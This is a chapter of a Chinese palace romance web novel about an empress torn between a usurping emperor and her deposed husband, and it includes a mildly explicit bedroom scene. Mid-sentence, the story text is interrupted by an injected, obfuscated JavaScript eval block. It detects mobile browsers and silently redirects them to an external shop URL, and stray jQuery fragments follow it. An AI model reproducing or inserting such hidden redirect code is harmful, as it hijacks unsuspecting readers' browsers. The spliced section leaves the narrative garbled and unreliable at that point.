沈知月将香料调好,道:“忙还不好?最好再多忙一点,省得他这儿,我还得应付他。”

    宋砚之站在外面黑着脸不说话,跟在他身旁的小太监吓得拂尘掉了下来。

    沈知月回头一看,宋砚之就站在门口,不知道听到了多少。

    宋砚之走近,摆了摆手,宫人们都退下去了。

    沈知月见他面色沉沉的,心里打着鼓,宋砚之应该不会对她做什么吧……

    过了一会儿,宋砚之自己把自己哄好了。

    他看向沈知月的时候皱了皱眉,“最近饭食不合胃口?怎么瘦了这么多。”

    沈知月道:“大概是天气热了,没什么胃口。”

    这会儿她的宫中已经用上冰了,两大盆冰放在屋里,倒也没有那么热。

    沈知月胃口不好是因为别的原因。

    两人都很默契的岔开了话题,没有人提沈知月刚才说不想应付宋砚之的话。

    宋砚之也不想和她吵,若是每次过来都吵一通,沈知月只会越来越讨厌他。

    宋砚之道:“天热了,不如去行宫避暑,我记得你喜欢湖中心的闲月阁,到时候你就住那儿吧。”

    沈知月兴致不高,他说什么就是什么。

    说完了去行宫,两人又沉默着没说话。

    沈知月不想提起新话题,宋砚之也不知道说什么。

    宋砚之只是一直盯着沈知月看。

    沈知月今日穿着鹅黄色宫装,头上的配饰不多,只有一根玉簪子再加上两个步摇。

    宋砚之又想起沈知月送别萧景元那天。

    她几乎是满头珠翠,手上也戴着张扬的大金镯子,一点也不显臃肿,反而还很好看。

    他是第一次见到那么张扬的沈知月。

    可惜,是为了送别萧景元。

    宋砚之拿了一支金簪子插在她发间,道:“我记得你之前打扮没这么素雅。”

    沈知月道:“我嫌它们太重,戴着还麻烦,便少戴了一些。”

    宋砚之目光沉了下来。

    萧景元当皇帝的时候她就不嫌麻烦。

    沈知月见他表情变了,又沉默着不说话。

    毕竟多说多错。

    宋砚之皱眉,“你与我之间,不用这么……拘谨。”

    沈知月点点头:“我知道了。”

    两人吃了晚膳,便去沐浴更衣。

    沈知月先洗好躺在床上,盯着床顶的帷幔发呆。

    今晚就要陪宋砚之睡觉吗?

    说实话,她还没做好准备。

    毕竟她前不久才和萧景元情投意合,她还没习惯换了个丈夫。

    宋砚之掀起床幔,躺在了沈知月身边。

    他一翻身,将沈知月抱在了怀中。

    宋砚之那张艳丽的脸近在咫尺,沈知月多看了两眼。

    宋砚之长得很好看,一双狐狸眼正定定地看着她。

    沈知月身体僵硬。

    宋砚之道:“睡吧。”

    沈知月:?

    宋砚之这是什么意思?

    来她这儿盖着被子纯聊天吗?

    不过这样也好,省的她还要辛苦陪睡。

    只是身边的人存在感太强了,沈知月有些睡不着觉。

    宋砚之也睡不着。

    两人到了后半夜才睡的。

    沈知月还能睡个懒觉,宋砚之不行,他得去上朝。

    好在宋砚之不用她伺候换衣服,不然她真的要炸了。

    宋砚之这几天似乎不忙了,每天晚上都会来陪沈知月吃饭,吃完了洗漱上床睡觉,宋砚之每次都只是单纯的抱着她睡,没做别的。

    习惯真是个恐怖的东西。

    沈知月从不习惯身边有人,到了习惯宋砚之睡她身旁。

    直到几天后,沈知月正准备睡觉,宋砚之翻身压了上来,准备脱她的衣服。

    沈知月身子微微僵硬。

    她一咬牙,一闭眼,总得走这么一遭的。

    宋砚之在她耳边轻声问:“到底要怎么样你才能喜欢上我?”

    沈知月想了好一会儿,摇摇头:“我不知道。”

    沈知月又问:“我已经是你的人了,喜不喜欢你有那么重要吗?”

    宋砚之手指摩挲着她的唇,很认真的说:“这对我来说,非常重要。”

    沈知月想糊弄过去,“喜不喜有什么重要的。”

    宋砚之不想听她说话,直接吻住了她的唇,然后伸出舌头开始试探。

    这一吻并不激烈,宋砚之很温柔的舔了舔她的唇,然后与她的舌开始纠缠。

    宋砚之亲够了,又开始亲她的眼皮。

    随后转移到她的耳垂。

    宋砚之知道她耳朵敏感,轻轻地吮吸她那小巧精致的耳垂。

    温热的气息扑撒在她耳边,耳垂被他□□,沈知月身子微微发颤。

    “别,别吸了。”

    她想推开宋砚之,却怎么都推不开。

    等宋砚之玩够了,又开始一路往下亲,先是脖子,然后是……

    沈知月的衣服要脱不脱的挂在身上,已经无法遮挡她的身体了。

    然后,宋砚之就没了动作。

    沈知月睁眼,看见宋砚之正盯着自己,那眼神中带着欲念,仿佛要将她生吞了。

    沈知月去捂他的眼睛,“你别这样看着我,我害怕。”

    沈知月能明显感觉到某处的变化,正硌得她有些不舒服。

    宋砚之格外有耐心,又吻住了她的唇。

    唇齿交缠中,沈知月一时间有些恍惚。

    宋砚之开始脱衣服。

    谁知这时门被敲响了,“陛下,安王在御书房等您,说是有要紧事。”

    宋砚之有些烦躁:“有什么事明天再说。”

    那小太监继续说:“可是,安王说这件事情很重要,让陛下一定要过去。”

    沈知月将他推开:“正事要紧,改日吧。”

    宋砚之不爽的穿上了衣服,黑着脸走到御书房。

    安王正抱着一个几个月大的孩童。

    宋砚之黑着脸,“到底有什么要紧事?”

    安王完全没有打扰宋砚之的自觉,笑着说:“陛下,您看我找到谁了?”

    宋砚之看了一眼那小孩,“谁?”

    安王道:“前朝太子啊!臣查到有人想要拥护前朝太子,想要谋逆,这不,我好不容易才将这小太子给抓回来,就是不知道怎么处理。”

    宋砚之皱眉:“随便你怎么处置。”

    安王犹豫了,“可是……听说前朝太子一直由皇后娘娘抚养,当真可以随意处置吗?皇后娘娘会不会生

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17768738|208631||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    气?”

    宋砚之知道沈知月对这孩子没什么感情,便说:“送去善堂吧。”

    随后他顿了顿,“送去远一些的善堂,别让人知晓他的身份。”

    安王道:“说起来,西北的战事吃紧,北戎来势汹汹,臣想去西北,不如把这孩子带去西北的善堂?”

    宋砚之“嗯”了一声。

    然后让安王连夜出发去西北。

    安王一愣:“这,这么着急吗?”

    宋砚之黑着脸,“不着急你大晚上过来做什么?”

    安王后知后觉的反应过来,今天他大概是打搅了宋砚之的好事。

    可他好不容易抓到前朝太子,这不是太激动了吗?

    安王鹌鹑似的不敢说话。

    得,收拾收拾东西,连夜出发去西北吧。

    宋砚之见天色已晚,便没有回椒房殿,而是留在了自己的养心殿。

    接下来的几天,宋砚之非常忙。

    西北的战事吃紧,南边有水患。

    原本宋砚之颁布了一些政令下去,让百姓们对他态度有所好转,却没想到,这天灾人祸的,有人趁机散布谣言,说宋砚之这皇位来路不正,上天看不下去才降下惩罚。

    宋砚之这几天一直都在和大臣们商量对策。

    还需要管控舆论。

    这就导致最近宋砚之总是半夜去找沈知月,每次沈知月都困得不行。

    太忙了,也没条件做那档子事。

    宋砚之这几天有些火大,御膳房做了不少清火的汤水。

    等到宋砚之忙完这段时间,天气已经很热了。

    哪怕屋子里放着冰,她都觉得有些受不住。

    宋砚之便带着一些重要的大臣,还有沈知月一起去行宫避暑。

    沈知月最讨厌坐马车了,一路颠簸,沈知月好几次都快要吐了。

    宋砚之和她一个马车,搂着她一直在拍她的背。

    沈知月难受死了,这几天都没怎么吃饭。

    好不容易才到了行宫,宋砚之送她去闲月阁休息,直到看见人睡着了他才离开。

    闲月阁是一个湖心小筑,只能坐船到,景色很是雅致。

    沈知月休息了一天,第二天,她便坐船去了岸边,在行宫里散步。

    行宫景色很好,沈知月转了一圈,到了吃午膳时才回到闲月阁。

    闲月阁有小厨房,做的菜式精致好吃,沈知月多吃了小半碗饭。

    湖中心很凉快,湖风一吹,沈知月只觉得格外的舒坦,路上那些罪也算是没白受。

    沈知月靠在美人靠上往湖里撒鱼饵。

    沈知月一边撒鱼饵,一边对绿珠说:“去年我与萧景元一起投放了好多锦鲤进去,没准这会儿喂的就是我们当时投进去的锦鲤呢。”

    说了一会儿,没听见绿珠回应。

    沈知月奇怪的回头,就看见绿珠跪在地上,宋砚之一张脸黑沉沉的。

    宋砚之不爽:“你还想着他?”

    沈知月道:“随口说的一句话罢了,你怎么神出鬼没的。”

    每次说了什么不该说的话,宋砚之都刚好在身后。

    像鬼一样。

    宋砚之上前一步,把她紧紧抱在怀中,像是要将她揉碎,“不许再想他了。”

    沈知月敷衍着应了一声。